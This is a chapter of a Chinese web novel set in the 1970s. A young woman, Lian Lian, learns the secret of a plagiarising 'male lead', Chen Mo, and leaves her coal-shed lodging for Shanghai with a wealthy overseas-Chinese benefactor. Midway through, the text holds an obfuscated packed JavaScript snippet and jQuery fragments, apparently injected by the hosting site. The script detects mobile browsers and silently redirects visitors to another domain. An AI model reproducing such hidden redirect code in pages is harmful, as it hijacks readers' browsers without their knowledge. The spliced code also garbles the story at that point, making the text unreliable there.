49.年代文位面24

作品:《万界咖啡馆经营手札

    回家路上,连莲就料定会遇见陈默。这大杂院里哪有什么秘密可言?东家今晨多割了二两肉,西家昨夜拌了几句嘴,不到晌午就能传遍整个胡同。她那个巴掌大的煤棚子但凡有些响动,隔壁都能听得一清二楚。


    她想起昨夜除夕苏同志对陈默视若无睹的模样,那刻意回避的姿态令连莲起了疑。她脆生生喊了句“默哥”,果然瞧见苏同志眼角微微抽动,她心里顿时产生了一个想法。


    她当然不会以为苏同志和陈默有什么纠葛,而是想试探两人身上那种相似感后隐藏的秘密。


    当苏同志问起陈默时,连莲故意摆出一番作态。可苏同志的反应却让她始料未及,既不是居高临下的规劝,也不是虚情假意的附和,而是直接要带她离开这个是非之地。


    连莲心里翻江倒海。十六岁就敢独自报名下乡的姑娘,怎么可能优柔寡断?自然不是担心苏同志另有所图——自己这般境况,还有什么值得人家费心算计的?


    真正让她举棋不定的,是这场试探竟钓出条通天大道,而她在纠结是否该说出真相。


    八宝鸭的酱香混着蟹粉狮子头的鲜味在舌尖绽放,这些连莲只在国营饭店外见过的佳肴,滋味对于她是陌生的,当然也不知道正不正宗。但苏同志眼角漾开的笑容,不知不觉就卸下了她心防。


    连莲有种说不出来的感觉,苏同志和陈默一样却又不一样。


    晚饭后,她将真相一五一十地告诉了苏同志。看着对方眼中渐渐浮现的明悟,连莲紧绷的肩膀不自觉地放松下来,像是卸下了一副无形的重担。


    原本她已经做好了最坏的打算——灰溜溜地被赶回那个四面漏风的煤棚。可出乎意料的是,苏同志非但没有动怒,反而露出一个欣赏和肯定的笑容。


    “这样的连莲,才是真实的连莲。”


    这句话让连莲有些困惑,但苏同志眼中闪烁的真诚让她莫名安心。然而接下来的谈话却越发离奇,什么“小说男主”、“角色觉醒”、“剧情改变”,还有“抄袭”......这些词汇从苏同志口中蹦出来,连莲本来听得云里雾里。


    直到听见“那些作品本来就不是他的”这句话时,连莲才恍然大悟。原来陈默身上那股挥之不去的违和感,竟是源于此——那些令人惊艳的诗歌,那些发人深省的文章,全都是偷来的。


    夜深人静时,连莲躺在温暖的被窝里,热水澡的余温还未散去。她开始回想自己短暂却坎坷的一生:饥寒交迫的童年,刻薄寡恩的家人......记忆中最鲜明的,永远是填不饱的肚子。在北方,穷人最难熬的就是冬天。


    什么小说情节,什么男主光环,都比不上此刻身下柔软的床褥来得真实。在这个寒冷的冬夜里,连莲第一次感受到了彻彻底底的温暖。


    她蜷缩在棉被里,像只终于找到归宿的小兽,渐渐沉入了无梦的睡眠。


    接下来的两天,连莲破天荒地没有去上工。不过这在集体合作社里,这倒也算不上什么大事,茶摊本就是临时安置的过渡单位,工钱按日结算,人员流动频繁,少个把人根本不会有什么影响。


    连莲不知道苏同志口中的“林念舒”是怎么接受自己是小说人物的,对于她来说,这些虚无缥缈的概念远不如眼前的温饱来得实在。


    身上崭新的棉袄柔软暖和,饭菜丰盛得让她每日都大吃大喝。最难得的是心里那种久违的轻松感,就像十六岁那年坐在南下的火车上,春风从车窗缝隙钻进来,轻抚着她稚嫩的脸庞。那时的她满怀憧憬,以为广阔天地大有可为。


    十年下乡生活的艰辛早已将那份天真消磨殆尽。可如今,在温暖的屋子里,那颗沉寂已久的心竟又悄悄跳动起来,像是枯木逢春般焕发出新的生机。


    她陪着苏同志游览了京城的名胜古迹。每到一处,苏同志的眼神就会变得格外明亮,那目光中闪烁着连莲读不懂的复杂情绪。


    虽然已经知晓了对方的真实身份,但连莲却出奇地平静——或许是这些天的相处让她确信,无论未来如何,至少此刻的温暖是真实的。


    走在颐和园的长廊上,冬日的阳光将两人的影子拉得很长,连莲第一次觉得,自己的影子也可以这样挺拔。


    ——


    连莲回城时,因无直系亲属投靠,户口只能挂在街道集体户上。要跟着苏同志离开,原本繁琐的户籍迁移手续办理在春节期间,几乎是不可能完成的任务,但如今却出乎意料的简单。


    上海那边的工作接收证明通过传真机“吱吱”地吐出来时,连莲还觉得有些不真实。外事办的干部亲自带着这份文件来到街道办事处,笔挺的中山装衬得他格外威严。他推了推眼镜,将一沓盖着红章的文件摊开在斑驳的木桌上。


    “这是市办特批的加急件。”干部的声音带着不容置疑的权威,“接收单位是沪市侨办,后面附的是统战部的批复。”他说着,目光却总忍不住往门外瞥——一辆锃亮的黑色轿车正安静地等在巷口,在灰扑扑的胡同里显得格格不入。


    连莲站在旁边,手指无意识地摩挲着档案袋粗糙的牛皮纸面。几天前她还蜷缩在煤棚里啃着冷硬的馒头,而现在,身上这件藏青色呢子大衣是李管家特意准备的,连内衬的羊绒都散发着淡淡的檀香味。明天,她就要跟着苏同志踏上前往上海的列车。


    命运的转折来得太快,快得连胡同里熟悉的煤烟味都显得不真实。远处飘来的蜂窝煤燃烧的气息,混合着办公室里的墨水味、街道特有的灰尘味道,这些气味编织成一张网,将她过去的记忆一网打尽。


    “手续都齐了。”廖主任的声音将她拉回现实。这位街道干部她很熟悉,当初返城后的手续就是她给连莲办的,茶摊工作也是她安排的。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15426273|164722||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “小连啊...”她拍了拍连莲的肩膀,力道恰到好处,既显得亲切又不失分寸,却终究没说出后面的话。


    在廖主任的带领下,他们走向那个不足三平米的煤棚。夏天闷热如蒸笼,冬天寒冷似冰窖,墙角永远泛着潮湿的霉斑。这个连莲住了大半年,由街道办分配的临时住所,如今也要物归原主了。


    棚子里的家当少得可怜。唯一一套厚衣服已经穿走,换下来的旧棉袄被李管家洗净收在了百汇饭店,连莲最后只带走了那几本用报纸仔细包裹的书籍。


    院里的动静早就惊动了四邻。陈大婶站在家门口,围裙上还沾着煤灰碎屑:“廖主任,这...小莲是要搬走?早该分个好住处了——这大冬天的,一个姑娘家住这煤棚,真是遭老罪了。”院子里陆续聚来七八个街坊,好奇的目光在连莲身上来回打量。


    “这些日子,多谢大家照应。”连莲将书抱在胸前,声音很轻却很清晰。她和这些邻居说不上多熟络,但借个火、搭把手的情分总是有的。


    廖主任清了清嗓子,声音陡然提高:“连莲同志这是响应国家政策,要去沪市支援建设!”当着当事人的面,她自然只能拣最冠冕堂皇的话说。


    这话像颗石子投入平静的湖面,激起一圈圈涟漪。邻居们的眼神顿时活泛起来,七嘴八舌地道贺寒暄。在一片嘈杂中,一个声音格外突兀:


    “连莲——你要去沪市?”陈默撩开门帘快步走出,脸上写满震惊。


    连莲抬眼看他,神色平静得看不出任何波澜,只是轻轻点了点头。


    “可——”陈默的话戛然而止。他想问这几天连莲去了哪里,想问一个孤女怎么突然就能去沪市,更想知道那个神秘女子究竟是什么人。但他突然意识到,自己根本没有立场问这些问题。他们不过是普通邻居,而那个像电影明星般光彩照人的女子,似乎已经要将连莲带向了另一个世界。


    等廖主任送走连莲一行人,院子里顿时炸开了锅。


    “出国?”直到这时,众人才从廖主任口中得知真相。


    “大年初一那天不就有人来过吗?提了好多贵重礼品,你那天走亲戚没见着——后来连莲直接跟着走了,这几天都不在——”


    “什么亲戚啊?”


    “听说是归国华侨,年轻漂亮,穿得可时髦了。”


    “那连莲不是要过上好日子了——”


    在一片艳羡声中,陈默突然冲了出去。“连莲——”他喊住已经走到巷尾的身影,心里涌起莫名的失落。


    连莲对车里的人说了几句,转身向他走来。冬日的阳光透过光秃的树枝,在她身上投下斑驳的影子。


    “陈默,谢谢你这段时间的照顾。”连莲直视着陈默的眼睛,声音轻柔却坚定。她顿了顿,又说:“我的新人生要开始了,希望你......一切顺遂吧。”